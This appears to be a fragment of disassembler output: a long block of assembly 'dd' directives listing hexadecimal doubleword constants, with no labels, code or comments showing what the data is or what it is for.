		dd 4940CA54h, 0C7F6B255h, 0CA77CBC5h, 0A35A067Dh, 925EF71Dh
		dd 0DE761CA5h, 79C05EB8h, 9462C907h, 0A097B427h, 7990C273h
		dd 4BAD3E4Ah, 9A03B700h, 5A09148Bh, 163965BFh, 0D2CBB111h
		dd 9C58EF1Dh, 58FC06E8h, 2BEF7251h, 792094A4h, 0D63B1E95h
		dd 0B2E321BDh, 54459A01h, 47ED1175h, 4E5588E2h,	0CC1B7E95h
		dd 0BCDE9216h, 65A24029h, 9B65DEC3h, 8EC799DDh,	397FCEF0h
		dd 39B148C3h, 4325B02Fh, 1FF30AF9h, 54C79943h, 0A1D54DC6h
		dd 0B8E6D04Fh, 0FCD553F6h, 7C25CE92h, 0F66C26E5h, 20202085h
		dd 53E1ED78h, 711C7A60h, 213C59EDh, 0E068CD37h,	7D19D637h
		dd 0FDB7A46Eh, 373F25Fh, 59B51421h, 0EABC09Ah, 73420972h
		dd 0D581A2D6h, 9CE6B05Ch, 0FF127F12h, 4797908Fh, 75DBBFABh
		dd 0B6E98F05h, 0F2CC5359h, 0F4FC78CDh, 8D11A124h, 9BA9D630h
		dd 0FB0BB803h, 0BD02C5Bh, 0D601315Ch, 0C79BC005h, 0E565EFC9h
		dd 0EA978574h, 0FE582F8Fh, 20AA29A6h, 1292B66Dh, 36074BE0h
		dd 9C64A4F1h, 17AE60A1h, 4FF56680h, 0CFD943C3h,	0AF44A922h
		dd 8D4DACD5h, 0CE49E236h, 91DEA65Fh, 2E7DCE8Bh,	17C3C7EEh
		dd 0CCCE4C6Eh, 548852E1h
		dd 10913B3Fh, 0FAC0612Fh, 504080E2h, 3C6C637Eh,	0C0B1DC2h
		dd 2C20641Bh, 0CAF5304Eh, 96D6A582h, 9C839331h,	0F62C6524h
		dd 837EE38Eh, 85102C08h, 0B5DF3DBEh, 0F51C7777h, 0DA32797Fh
		dd 0D73C6AC8h, 0F71B1A04h, 0F65B7B17h, 6332D6h,	60E31704h
		dd 13FD4AD9h, 0E35D7985h, 0FB02C83h, 75F489C2h,	288E5768h
		dd 16ECA47Eh, 0A1042C3Eh, 920924A1h, 607F6CDh, 54DC59E4h
		dd 709D8D02h, 57D3F2BFh, 0B51B7916h, 8959D77Dh,	0B10AC6C9h
		dd 0D1D8E32Eh, 8C647D9Dh, 0C3334958h, 0E788B3C8h, 0C518FDF8h
		dd 0C0DEADECh, 0F4EF0BB5h, 7F325712h, 35DA7177h, 66517010h
		dd 0DA6D77EBh, 0FE72AFF5h, 0B4CD089Fh, 4AB35B97h, 8FBACDD9h
		dd 5828D7Ah, 58AE7B54h,	101316FAh, 19F89AAh, 86B70D63h
		dd 1AD1A4B9h, 2248A9DBh, 6351244h, 0ECC7D468h, 0FE67A023h
		dd 0B1DDD923h, 2D494E00h, 0DFC7C989h, 0BA45AB0h, 9B83FAE2h
		dd 0C3E72B89h, 80BA777Fh, 0A7106ABCh, 4A0170B8h, 0F8CDD057h
		dd 52FCD8CCh, 30B13A87h, 7657B1Ch, 8E73C169h, 6BB36718h
		dd 0F187252Eh, 5C2E0E75h, 0F6F64156h, 32D1ED75h, 6E0F584Ah
		dd 0FADDA41Eh, 4D268C70h, 3FB756Ah, 77B6E18Dh, 210C6FDBh
		dd 3A08E752h, 3C659D7Eh, 0DD5AAA3Eh, 0DC958C4Ch, 0BB635863h
		dd 0E108A041h, 0C975037Ch, 3C2B30CCh, 0F62113D4h, 2E730BB6h
		dd 971BF9C8h, 6BD190ACh, 0DD9AF19Fh, 1F5BC0A6h,	5CC143D0h
		dd 86B402BFh, 0C5865949h, 42F9E738h, 2562EDh, 8CD2A107h
		dd 5BCE25EAh, 0E00F77ACh, 0DE3547BFh, 0FA317A76h, 206DB41Eh
		dd 41390EE1h, 943E2FB7h, 18254F41h, 0CF0A91C1h,	748D8F1Bh
		dd 4559643Eh, 56824D14h, 0C01DDF71h, 94173F74h,	0D56C2913h
		dd 3C01ABE0h, 0E6CACBB0h, 2CE5EE81h, 4F367C39h,	0AFFBBFE6h
		dd 0CCD646FEh, 2D560041h, 5E80C268h, 50AB3CD2h,	3ED002D1h
		dd 0E53E8E1h, 80190883h, 6C0E0C58h, 0EB792CBh, 0F44BB825h
		dd 83BCB6FDh, 0F7813B21h, 0E91D9A65h, 87EB06A4h, 0B44D4E81h
		dd 7C95B262h, 73B50A62h, 29DEB82h, 0C9D03A98h, 1C97CD8h
		dd 37ECDE48h, 3F5881F0h, 3B5E680Bh, 3F8A4254h, 29C2086Ch
		dd 0B9B1604Dh, 7C41F79Bh, 0CBCE6775h, 6F2D68AFh, 0FB31D562h
		dd 0A6C5586Bh, 2D0A3232h, 6E3C2F2h, 894F2D8Eh, 6E14A56Eh
		dd 9AADA94Ch, 58D5F494h, 24CBE3B8h, 6B1233E1h, 0FB16982Eh
		dd 8697D22Dh, 892D4F1Ch, 0A2E05E7Dh, 20C5B952h,	74FEEA46h
		dd 0FD79D441h, 0FE113C46h, 4089AA42h, 1413F3C1h, 76D20032h
		dd 5F7FEBE5h, 22DB23ECh, 0E70E66A8h, 92D61DCCh,	0D744FF3Ch
		dd 92991C18h, 4526EEDCh, 2144B42Ah, 0A7BD9613h,	39690C94h
		dd 0B77C3FEAh, 928E34BFh, 0D071BBE7h, 0E9F0A7CEh, 11203B24h
		dd 25E008B9h, 0DB9B2875h, 0AC46DAB4h, 80851574h, 1B0C5061h
		dd 24C5310Ah, 3558AE95h, 46AC7B8Ah, 3E2A226h, 9A6DB3A0h
		dd 1F7921B3h, 2E2E1312h, 2C978E89h, 0C623D9DFh,	8206FDA0h
		dd 975AAC83h, 0BBCE307Eh, 81AB9A78h, 0D6DFD326h, 78C7D5ACh
		dd 709A21E1h, 0E554657Fh, 55179B49h, 766731Fh, 1D28418Ah
		dd 3B0D569Ah, 0A4088ACCh, 95152FBDh, 6B2BE8F1h,	93C77062h
		dd 1058E507h, 0B30B05Dh, 1385F0C2h, 1A8BBB9Ah, 4D0DD9D9h
		dd 71782752h, 0CC914CEFh, 44766993h, 0AD66EAB2h, 8AB02635h
		dd 9A14C06Fh, 8DDE1h, 0B3A76h, 0D5E4884Eh, 0DDD82E39h
		dd 0E167B39Fh, 0BBAB68ACh, 1BDFE4CBh, 8F7397B2h, 241648D5h
		dd 0ADFAAB48h, 83C711B0h, 88DF32B0h, 5120B7EFh,	0B83B84F7h
		dd 0C147B6C9h, 0A7B98989h, 40C3CDF5h, 0F1603322h, 0FB3EC64Eh
		dd 5D449D27h, 5E54A24Fh, 3DFD6A66h, 78AD7CF8h, 2A010685h
		dd 69FE101Bh, 686ED3C0h, 0EF9E84A9h, 2CAB12DEh,	591D59BAh
		dd 3DE92F32h, 436499E9h, 49F50F1h, 0ABFB4D32h, 0AEF48AB6h
		dd 5536F3Bh, 0D0C97832h, 77DC974Dh, 0EAF5EFD2h,	0AE7CAFCDh
		dd 0FAD7A942h, 0ED5C373Fh, 5EE33E41h, 8C48BDB1h, 51F23505h
		dd 43571CD3h, 0B9461909h, 0E4C09298h, 3440D883h, 7E47C688h
		dd 2B31E3C1h, 4B2B62FDh, 6F802600h, 0B629522h, 0CEDBC002h
		dd 939C8991h, 91368932h, 30069EDEh, 0EA7135B7h,	4042B7D6h
		dd 0DC188261h, 3F20DAD1h, 81EB51ACh, 0AE7B7F0Ah, 4A772984h
		dd 97B228F5h, 0C6B6EBh,	0BFDD3D17h, 762525F4h, 0C4DC9B04h
		dd 30FAC904h, 65E7E529h, 453E44DDh, 515BE6B6h, 0BF68C828h
		dd 0DC7210AFh, 0E009625Bh, 5B49130Dh, 6032455Ch, 0A8E49B84h
		dd 0D494067Fh, 7C97726Bh, 884C9E14h, 5A2C128Dh,	5B168998h
		dd 8089EF85h, 2EFF6BCFh, 83C1C396h, 0F310FE54h,	108F8C07h
		dd 0E1192103h, 12219360h, 7B3E4F1h, 0F782C501h,	0EBBC76A6h
		dd 91131D1Ah, 92BF1F55h, 13EADFF4h, 254F1E87h, 48E0B8F5h
		dd 4B0EEE8Ah, 9EDD5DDh,	846670D0h, 42973537h, 0DE050938h
		dd 0D936F94Bh, 9BE3D352h, 0D295B130h, 0B41AAC0h, 9775BC7h
		dd 0AAA53B5h, 1AC932EBh, 0C8906280h, 7F5881A2h,	474ABC76h
		dd 0D82AA0Eh, 4A1923B1h, 0E69E6929h, 51D669BDh,	70CEA307h
		dd 6E7BB013h, 0EB2A4021h, 4534D3ADh, 0A4C50F06h, 0E1700152h
		dd 0DC7E042Ah, 5633A88Fh, 8DAD7B46h, 9C5FDE53h,	2D139C3Dh
		dd 7E50C2A6h, 1C86E15Eh, 88A2B2A8h, 0DF607FE3h,	0A565CC15h
		dd 3AD9C121h, 9B4B02E2h, 4B6D486Eh, 0FF0CDEBDh,	4C3C46EBh
		dd 0BF9E782Fh, 8CFD3CDBh, 98F307D2h, 4B212D7Bh,	7692C063h
		dd 3BC7512Eh, 0BB44B31Bh, 3529DD91h, 7BEC979Eh,	8272AB86h
		dd 36E83E55h, 579EFF74h, 964A7CD8h, 8EE7C56Ah, 33E3BF79h
		dd 1E964F3h, 0F1820F8Ch, 0C8541822h, 0B7A9F245h, 0BC0EC183h
		dd 0C6CEE325h, 1DAEC25Fh, 4D1CC760h, 48A84AC0h,	3C521CFCh
		dd 2ADE43D6h, 0C379D05h, 6658DB6Ah, 0AA01B240h,	0F9371A4Ch
		dd 0D18C49DDh, 0A2B3C54Dh, 32F3D236h, 2026D6Dh,	0F5EC6D4Ah
		dd 0EDBA7814h, 47030C00h, 441C0E3Bh, 7EA472ADh,	0BF152C04h
		dd 9683C619h, 9699A302h, 7E465AA3h, 0DD5FC73Fh,	4B7F9E46h
		dd 0F15A859Ch, 206188CFh, 0A6CEAB19h, 51D284E5h, 12209DADh
		dd 23CF6E13h, 2DD102AFh, 357E82D9h, 0BDA8C23Ah,	0C0C863A0h
		dd 6406DA09h, 0D975C664h, 42EF9808h, 81735A62h,	115FABB9h
		dd 7E58866Fh, 56122A7Ah, 42BB2C5Eh, 0E56126BBh,	1E31CB7h
		dd 0B66D5781h, 0A4C5194h, 0FDD3AF82h, 77E72871h, 0DDACF751h
		dd 0A847762Bh, 0CA377517h, 5AF0CE6Dh, 34558E5Eh, 0DA4394DBh
		dd 0C939E49Ch, 6D46757h, 4FA8DA2Bh, 2C4F7F13h, 73421BDAh
		dd 20D94DC9h, 859B1497h, 0EA48A167h, 0E31BB6AAh, 0A16EFF34h
		dd 950DB08Dh, 237E09Fh,	0AAD87A02h, 28AF2DE8h, 34288D4Ah
		dd 1BF153CFh, 3A078AFBh, 4F2B0288h, 80E48FE5h, 0DA3E01Fh
		dd 0DCE1CDC7h, 1B619668h, 0CA592578h, 0F4603680h, 9CFBD7FBh
		dd 1A613C3Fh, 0FFC80C06h, 5F0C6E4Eh, 0E0CF664Ch, 270679B2h
		dd 7D34E531h, 0D39C0E93h, 9E1E3875h, 9F7BAD69h,	0E1E19F2Fh
		dd 2ECA23BCh, 1A259FA7h, 7FCF92E4h, 2516B8CBh, 9590633Fh
		dd 0D19B4541h, 852E2CC3h, 11237AD5h, 95D83659h,	0F9F5ADDAh
		dd 0D4FA107Fh, 495EA90h, 0DD7AEE78h, 0D36B1BB6h, 0D6927A63h
		dd 87D4DFDEh, 0C5043C4Ch, 458AA3CFh, 48A58144h,	0F5C83E4h
		dd 0F09C6107h, 45726A11h, 0F21E0C98h, 37CEF503h, 6C6E1B0Eh
		dd 9EE9C2D5h, 7D088511h, 0D6CAE4BAh, 0B23422D6h, 4B92B6EFh
		dd 0EF4AB4D5h, 0D269DCE3h
		dd 74F188A1h, 6837D9DBh, 0A9BEED38h, 0A0779831h, 0B5CFF4E3h
		dd 0F96F29B7h, 0A662DD4h, 4FB68931h, 63C453A2h,	18FBF1E3h
		dd 879775AEh, 33912024h, 350BF369h, 0C637C51Ch,	0B1D4E7E2h
		dd 0D3F042C4h, 6C5E8989h, 2E4E16DEh, 0D1C9B417h, 0FC36BFF7h
		dd 2307BC57h, 0AED69616h, 0C5A02F01h, 59FB31D8h, 7DB9E5E7h
		dd 6B73FEC2h, 0C6DE3D6Eh, 0A0BBD4E9h, 9D0B55C6h, 7EF976F1h
		dd 85FDC068h, 0C17E12EAh, 2EC21E86h, 80785880h,	20CD10F0h
		dd 37117588h, 8D4B932Ah, 2393C8F6h, 0AEE9272Bh,	0B90BFB4Dh
		dd 86E123Ah, 0C10A448Bh, 0BD1B35CCh, 0DFF022CBh, 51DDC1CCh
		dd 0C17799ECh, 0D6CE6C83h, 9C4CB86h, 788F73F8h,	0A054A3BAh
		dd 603ED369h, 45A6409h,	4B05CC1h, 26784978h, 0A309E360h
		dd 0CA7281F8h, 648A6467h, 0B81AC953h, 8D4E4C18h, 5029C670h
		dd 67AD831Ch, 23E2DFD8h, 58609C68h, 76223E4Bh, 0E5ECAE8Fh
		dd 0FC700ACh, 94412A69h, 582139DCh, 0BC51A33Ah,	69351EABh
		dd 4C78BDC6h, 0B459107Fh, 6C809F34h, 0E807CE84h, 82A337AEh
		dd 9163A71Fh, 911B6648h, 0B6BA6D6Dh, 0F3B334A9h, 26FBFB14h
		dd 0E6C1EBB2h, 0A2D9B6F4h, 0B8559DDFh, 0B9A84139h, 5AA200CAh
		dd 6159685Dh, 3DCFF7B5h, 7717A083h, 0DF7F44BDh,	0D021E76Ch
		dd 981B83D2h, 0D9076782h, 0ADE83FE3h, 7865F9Dh,	0CF87DAC5h
		dd 0E5C0EF3Ah, 36DF6883h, 5160FA03h, 208604FDh,	8D8BABFAh
		dd 76611BBBh, 28F654F7h, 0BD582A43h, 247524F3h,	79B8CC3h
		dd 58037A4Ah, 426A218Ah, 89ABE14Ch, 0CFDEFF74h,	21DA6F96h
		dd 0CCB84C95h, 0A74740FAh, 6A516DB6h, 0F7C81C31h, 7A824600h
		dd 0BAAD5552h, 0BE657AB2h, 0F9823518h, 59EAA62Eh, 90E8DC8h
		dd 92E732FFh, 0C9402E80h, 210B761Ch, 0FE847106h, 7BE669E6h
		dd 2C6DBD4Fh, 57B80268h, 648A437Dh, 8306874Ah, 94AFCB2Dh
		dd 0D32B0E53h, 9AF2EE0Eh, 0DC14BC5Ah, 0A8B8A3E2h, 0E432CE3Fh
		dd 19D71C08h, 88D6F3FBh, 0C8671229h, 0E217E8F3h, 57DD5EF5h
		dd 0B646207Dh, 5787CB50h, 9D4ACAEh, 16220B1Fh, 0CB0860Eh
		dd 316A50C9h, 0EFF4819Fh, 8CA44FFCh, 0C3E08CA0h, 0E485F41Ch
		dd 0E2B6F0B4h, 0C1256025h, 2F0952C0h, 3914D7D6h, 42FE3209h
		dd 1BBA6480h, 0D40AB9CEh, 4BAEC4C5h, 8131E0CAh,	0C3604207h
		dd 0CAF37615h, 0ECAC6429h, 6F71728h, 0BEC47693h, 0C84D99CBh
		dd 94DA8A00h, 0BEFF0CAh, 799582E5h, 0CCB533D8h,	198100C3h
		dd 92754734h, 0DB6F3641h, 0BB729BEFh, 0CD8EC8D5h, 5D961A1Fh
		dd 0ADED6049h, 9FE3A5ACh, 0F5EC3E60h, 85DB3A60h, 0D0B612Ah
		dd 0D039A450h, 19285178h, 5D2FBE42h, 71B86343h,	0B521413Ah
		dd 0BFBB3A05h, 6F15BFA7h, 0D4452CAEh, 3DD8EC04h, 0F27008Eh
		dd 7966F29Ch, 90DC497Ch, 921420E0h, 0AF48B761h,	30B5F5EBh
		dd 340C2CCh, 0C81F4F39h, 98029364h, 5FA694CCh, 69A8BD83h
		dd 0C7004141h, 42B55D05h, 614916Dh, 6EAE14A1h, 0E72164A2h
		dd 96831401h, 132F2B7Ch, 6E29A053h, 0C1A379EFh,	35902EABh
		dd 64BA0966h, 0CE4A8851h, 5AAE1474h, 5F0D05EFh,	5DDE6B4Fh
		dd 0A21FDEC4h, 83A10FB1h, 0BB734707h, 0F172B21Bh, 0B1C96139h
		dd 6CA8D8F4h, 0DF7598B9h, 0E1E496C1h, 0BC78C7DAh, 52463582h
		dd 11D5F8D1h, 53042CA6h, 0A42FC7B8h, 36C092B6h,	0A6A3E66Dh
		dd 0FFFE6D86h, 6FB7282h, 0A6E040E0h, 0B7EFE879h, 0ECB3C847h
		dd 91C8BDB1h, 0AAE54D22h, 0FE650C1Dh, 5BD22612h, 66970193h
		dd 0F16FA6B7h, 96595F2Dh, 1D385456h, 0A038DB29h, 0A4E548E7h
		dd 5DA3E1F7h, 419C2436h, 9A61310Ah, 9C34D04Fh, 0F3842DD8h
		dd 2C38E13Ah, 0A317295Ch, 711155C9h, 791EC17h, 922513C8h
		dd 0D646FC59h, 26B340B4h, 0CE91ED79h, 80048556h, 14BD2082h
		dd 0CDC8BA3Bh, 0DEECDD16h, 0CA1B7ECFh, 0CF0928B7h, 756A05DFh
		dd 0C69A3648h, 0F52B3A8Ch, 0DBBA33CAh, 0E1DFA4ABh, 4BDC9B72h
		dd 471D81F1h, 0ED3CC97Bh, 0C2E09014h, 34F7B7D2h, 0D45977A5h
		dd 378B28E0h, 4D51E289h, 0A65ABBEAh, 1CE6046h, 4D49950Ah
		dd 0DDC0DF75h, 8734231h, 0E5980008h, 314D262Ch,	6074E079h
		dd 5F02FF4Ch, 0C580BDA0h, 99B6C6BDh, 560F7EE7h,	1E63E47Eh
		dd 18C7B6CEh, 0C671E899h, 828F9437h, 1D294C21h,	2372EF7Fh
		dd 0FBC50C6Dh, 788C5A6h, 6604F7BEh, 88A6F934h, 0F070E37Fh
		dd 0E40D385Bh, 0C9ECD062h, 150F858Bh, 4E6140F5h, 2A823581h
		dd 0E512242Fh, 0FA0F0DD1h, 623CA81Fh, 601DA184h, 3452120h
		dd 21EB07BCh, 6DC2F8FAh, 0D4F0D71Ch, 3DAA14FDh,	544FAF6Eh
		dd 68705EE1h, 0A2F7CF1h, 34E6F73Dh, 0E9CDFACAh,	5B417F6Fh
		dd 0AB4CC46Bh, 70D70679h, 3114B889h, 3737F9B4h,	88EFA671h
		dd 70B1241h, 0DB6EB60Bh, 53AB3922h, 6EF40C83h, 0F80829EAh
		dd 9B3B35C1h, 6E192C6Bh, 777F5BCCh, 928FAEB3h, 0CA56BB02h
		dd 0A7B92CAEh, 0CB00B6A5h, 8DCA9D1Dh, 407B8141h, 76D1D03Dh
		dd 5E21CC56h, 0D78DB301h, 41B90A3h, 1351C399h, 0CC8C9E80h
		dd 864F41EBh, 382C2ABFh, 631DAC35h, 4F59C079h, 0F34F3DE2h
		dd 0D207C51Ah, 51DE6B11h, 0DA7311F1h, 0BEBFD1EBh, 0A73DD067h
		dd 50392E73h, 41B80610h, 0AE200064h, 0CC0E33C1h, 2345C380h
		dd 0E0E19B8Ch, 62984D3Ah, 0C1E444DAh, 15F777B0h, 30B97B95h
		dd 0A31EE981h, 5D1BB9EAh, 3CA6493Bh, 9EF8D27Eh,	8F121E7Ch
		dd 0E4698ECBh, 98CA5DCDh, 7C636681h, 2A303AF2h,	20533A28h
		dd 7A05BFAFh, 397D4AC6h, 0FE94D7A1h, 0D5D85CACh, 6AFCA6C4h
		dd 0A33F5B29h, 0C97AFA7Dh, 480B8218h, 4D00B70Bh, 9EC07086h
		dd 0FD7AD2F0h, 87A114CFh, 57A7653Bh, 425AB045h,	3ADDE233h
		dd 2A65FA14h, 5B1DA231h, 0E2F1C6DCh, 0E22C4326h, 0FE3C84FEh
		dd 316B3942h, 0C24C9C42h, 0BB249B07h, 57FA932Eh, 1C6D4E6Bh
		dd 0C52880B1h, 0C2714C80h, 31D8864Bh, 2DBD4384h, 0CCD32262h
		dd 0E6910332h, 0FD88047Eh, 0BC3282CFh, 2C8B1B32h, 0B04E40D6h
		dd 5811AF9Eh, 8182B8CBh, 0C39B848Bh, 0D86D2FACh, 86DC7A3Ah
		dd 93D9A1CDh, 0C830B2FAh, 1677600Eh, 0A4A4DA8Ah, 26DB8A8h
		dd 0A3216FCCh, 29F1896Ah, 5DD0E51Dh, 4A696122h,	6B1A82ABh
		dd 7A49AABBh, 396FC9FCh, 0A8F18721h, 0F720E741h, 0AC386969h
		dd 6F742FD2h, 0B03A1DD5h, 2B997A3Bh, 829E00BBh,	0E1132ADBh
		dd 93B8EDDh, 0FCE830D1h, 61E9D10Bh, 0AF8F6D38h,	3C6961BBh
		dd 3378706Bh, 68FABDD8h, 0DF4C8E7Ch, 0E87153Bh,	1DDF7A86h
		dd 0D455F602h, 0C80224F1h, 0A383E4B5h, 4FD504E7h, 9989D7ABh
		dd 0E2C2BBB9h, 14D054B1h, 606BD3A7h, 4EBADE56h,	0EECF94E8h
		dd 1A7E9519h, 883D0DE9h, 0B50D83DAh, 0FAD01F00h, 0CC912669h
		dd 0DA87D660h, 86FC5C04h, 47731EC6h, 0A1C52079h, 39A06712h
		dd 166C0CD7h, 98DDDB5Bh, 75A3767Ch, 355B4CFDh, 0C22F0982h
		dd 0D7B489D6h, 0BEBB8E59h, 4388AA38h, 76FA7A3Fh, 0F1457371h
		dd 0E1FC6A25h, 5B80016Bh, 123EE86Ch, 91C7F2CDh,	8060E7FAh
		dd 0A18AC758h, 5782A33Ah, 0CDC4CC4Fh, 0B030D76Eh, 5B6E148Ch
		dd 0CF403A93h, 0F21AD77Eh, 0EE62F705h, 0DD64F68h, 3E9FCBA6h
		dd 0F9396AFCh, 0A7C13DAh, 0A1A4229Eh, 29CE918Ch, 0C50A4DC0h
		dd 0F877FA8h, 2EE67A61h, 1B668C89h, 2DC44A9Bh, 0B3EF80C2h
		dd 0D4B3D990h, 0C655FFB1h, 0E8A8EDF8h, 0B96D2C6Eh, 0CF0AEC7Dh
		dd 3296301Ch, 0A162BA2Bh, 15D6F79Bh, 0B92C5DBBh, 77A660E4h
		dd 1FBA1642h, 7145E55Bh
		dd 298F99B1h, 66CD2E01h, 4B142AF7h, 463EEAC0h, 0A24E5056h
		dd 0A15BA448h, 0D33564BDh, 0CC90372Bh, 6B39EF04h, 0CE58CBF5h
		dd 920B1696h, 755296C9h, 349D841Fh, 0DD603B94h,	16D37421h
		dd 0E42AB6CCh, 0DA3E163Bh, 0DEE4FCA0h, 5FECAB5Eh, 0E3874590h
		dd 47636A25h, 0FBE26280h, 0E5F0667Ah, 9788CE04h, 0C7328A69h
		dd 0D4F09D7Ah, 5751A4C1h, 1FAB9216h, 5EB8B568h,	776B9807h
		dd 7367B38Ah, 0E1C974D6h, 933D1C58h, 1E1B3AC5h,	0B6D3C7E3h
		dd 0E9892CC9h, 2CF64F85h, 0AF332BB4h, 404E12E8h, 19FDE0C5h
		dd 0A7D072ACh, 43C59575h, 9BF0D25Bh, 26A3295Eh,	89259A3Bh
		dd 9295BC15h, 29D2F264h, 838FA179h, 0DD696715h,	2380C2E2h
		dd 924982h, 1EC4EEDDh, 7E7BC9F9h, 6F37888Dh, 0EAB5F46Eh
		dd 5CA70BDh, 0CF2E754h,	1C0B6F58h, 0ADD1AC79h, 6851A15Fh
		dd 42F778EDh, 0E2D326F8h, 0EA5B4F81h, 86A42846h, 228A9CFCh
		dd 0B9043AFAh, 280455C9h, 0D8CCEC4Ah, 0AB38DBC9h, 0C9CED579h
		dd 15E6A9ADh, 0DFFFE08Dh, 0E5A9D721h, 0E062FF74h, 6647D5D3h
		dd 0EC4C346Eh, 67809823h, 0E267DDE4h, 0DEF09628h, 54ABEFFh
		dd 9ACEB274h, 595327D1h, 0AF52C750h, 0DD3E09Bh,	456703A6h
		dd 0C148DCD7h, 0B428AE40h, 0E4A4B484h, 0D601C831h, 97DE2C3Ch
		dd 81B8E876h, 98384742h, 8DF61BA9h, 0B5270C9Fh,	0AADEE840h
		dd 1CCFB4AEh, 0AAD2014Eh, 0DF7301BBh, 0F178DB3Bh, 19CDE128h
		dd 88B6B92Dh, 39DEBA70h, 0C787512Ch, 47680057h,	0C6C4F146h
		dd 9A46101Dh, 0E1346E7Ah, 0BDEB1CF9h, 486720D9h, 222C1227h
		dd 5D6342E1h, 0D0708216h, 0F85B3294h, 0C8FF910Ah, 0D98408BDh
		dd 4BF74519h, 0E0408397h, 6ACA39AEh, 9A867086h,	0B2C5FE82h
		dd 96EC0BFCh, 8B1FE2C5h, 411EDFCFh, 9007AB60h, 2CE987ECh
		dd 0F9147ADDh, 0F245F541h, 11D74FA8h, 5AFF20EEh, 0E1DEDE99h
		dd 63B75E11h, 0FE307EABh, 250B3558h, 2A5AA2A2h,	5E40A3F6h
		dd 3D673CB8h, 9F0A1050h, 5E27D820h, 6D2A8052h, 0D6242920h
		dd 2A91D1ECh, 0DF192B05h, 9C803DE1h, 81A0C857h,	34C451BFh
		dd 0FF86A55Eh, 2A8595D4h, 8414B3BCh, 0EB1898ECh, 0D850E28Eh
		dd 2E287DDFh, 0CEC82C01h, 0A675921h, 9B1ED1B9h,	0EC790E64h
		dd 9A5763A9h, 62E5A4A1h, 0D638C9Eh, 0E23FB9B2h,	0DA6AD8F4h
		dd 0E012D3A7h, 2DB5D8BDh, 8AF1D64h, 1533C569h, 48DFEA1Dh
		dd 0E313A4A3h, 2754DCA6h, 0FE36647Fh, 4F3DC34Fh, 0D33158A7h
		dd 0CCDE58FDh, 54F8BE53h, 57A703C7h, 25D28425h,	0F5F2276Fh
		dd 4D7659C9h, 6455E99h,	325613CBh, 72956532h, 8B3F161Eh
		dd 4D6E0C62h, 0B3E8B7EBh, 1A4D2F5Ah, 0E41ECE43h, 0A39BCE2Eh
		dd 0C61B6EA4h, 237DB715h, 97B75FCFh, 5C479268h,	32CE8B96h
		dd 0AEBB3B49h, 0D3E9AF0h, 97CC5806h, 173A921h, 4B197CA3h
		dd 0CB0A7AB7h, 17044E15h, 0B0D01B17h, 7086CF79h, 0C5B283Ch
		dd 49FBD7F8h, 54007410h, 0FE829FDh, 0F74FB1ECh,	0AA93F6B1h
		dd 86067075h, 0DAA06FAh, 0A4C5CC8Fh, 897C5B40h,	2B2F33CFh
		dd 52EBE6Dh, 0A3605B5h,	0FAD2CE49h, 121DC835h, 0C1C8FB4h
		dd 67090CCAh, 0C5D0182h, 92974884h, 2189316Dh, 736E5495h
		dd 2168E897h, 0FFA6AD31h, 6EA2127Ah, 1D4FDA54h,	0B01E60B4h
		dd 1812B67Bh, 9A7C7599h, 348F6DA3h, 90742D1Ah, 58A572ADh
		dd 0CDBD5BD4h, 23405002h, 1AC37DD0h, 404AE11Eh,	8CDCA704h
		dd 9D15756h, 5B3C3C03h,	0DDA39AACh, 0F715295Bh,	0B02F2CD1h
		dd 33803D5Ch, 20B6BAA4h, 3D45437Fh, 0DE055060h,	47E49FB6h
		dd 0D3D427A0h, 6AC6397Ch, 0A5B56FE6h, 0C6CEF978h, 30FF23EAh
		dd 73573BAEh, 2E903796h, 4D916889h, 54801E31h, 4199C5C8h
		dd 0F49B24CFh, 0CBC52A23h, 7B3B7D8Ch, 0B8D50BC7h, 96185D74h
		dd 71954360h, 92659C90h, 0D33CD624h, 0F5EF4C63h, 0C1A86CA6h
		dd 15FF4AFAh, 0AB11A14Ch, 0EAA2346Bh, 0CF9E3E61h, 0A2778164h
		dd 33A0F8F6h, 648151CCh, 0A87D8FDAh, 69ACEFAh, 4049048h
		dd 7E9B8A4Ah, 8C72A8DCh, 9794142Ch, 0A6F5E099h,	66011FB7h
		dd 705A587Bh, 0E6336908h, 0D8198C57h, 2BD514DCh, 5C090F7h
		dd 266AF6FFh, 3EB2B337h, 7157A4D7h, 2532242Dh, 6E0F2483h
		dd 0EAA31B24h, 71011ECAh, 345A66A3h, 0FAB7EFD0h, 74051955h
		dd 0EEE7083Bh, 4FEA29FFh, 4E2BFEADh, 950418FCh,	780ADBD0h
		dd 0E65E8DC9h, 6F204B78h, 0D7EC0BEEh, 0D921C1F1h, 7B97BF5Ch
		dd 0C7CC9D62h, 5398E88Ah, 1FCA1959h, 0D8BC1375h, 8964F3E4h
		dd 0CD2192D6h, 28DEB803h, 0FADBA3B7h, 0BF4A5A0Fh, 0C6518457h
		dd 7536AABFh, 33E98DB8h, 0BBD46EFBh, 0F845FE50h, 37FBACD4h
		dd 0B55FB400h, 0EC8377FCh, 0BAF1C1D1h, 0E950D1C0h, 75A77F31h
		dd 52509AE9h, 71AC7353h, 0F8DB082Ch, 290390A4h,	3EB749FDh
		dd 0E6B7FC62h, 0ED0619A8h, 9BE5640h, 0E556F59Eh, 0BE59B8D5h
		dd 0F9CB2232h, 525251F9h, 3759C12Ah, 925DA68Fh,	0C9B8F214h
		dd 5C9D092h, 0C85A07A5h, 0D8D6FF92h, 7F5FC888h,	8B2ABEF0h
		dd 0C700E2B7h, 0FE1EA12Ah, 0D2B801D7h, 2143583Ah, 0CF6A7412h
		dd 0F9297F44h, 2B0F03B9h, 9E38EAC5h, 306A7909h,	0DBD0F890h
		dd 329F16C2h, 3FA85E29h, 0EEABC418h, 4D974BB9h,	854323C2h
		dd 0D6FE25D8h, 9737F27h, 0FC73924Dh, 2FCC3150h,	0DC1006ABh
		dd 0B46B8B6Bh, 0DFE6D746h, 82D3D5DBh, 908A5FF7h, 5E91838Ah
		dd 0E315AB3h, 43A18B38h, 0BBF4EF30h, 0E42B6EA4h, 0F74B2976h
		dd 2F0C825Ah, 875618BBh, 0BD5BF9CDh, 79C41BE8h,	92B7E6BAh
		dd 0D4048863h, 7DDE15D6h, 3A04A460h, 2C314693h,	0E8CE86CBh
		dd 84DADA74h, 9EDA5049h, 531F51E4h, 0D7DAAE3Ah,	6FA2C068h
		dd 0C5D51970h, 5BC3DB82h, 339283BEh, 28B0058Ah,	69F26A66h
		dd 2174AA0Bh, 6A0F67FCh, 9AAD8DD0h, 37AE9041h, 0C17C0CA0h
		dd 0D33FD758h, 92648AAFh, 1FD328A2h, 0BD792FACh, 256307E8h
		dd 466776A3h, 3A2F00C0h, 65946FBCh, 4CAAA27Ch, 50966F79h
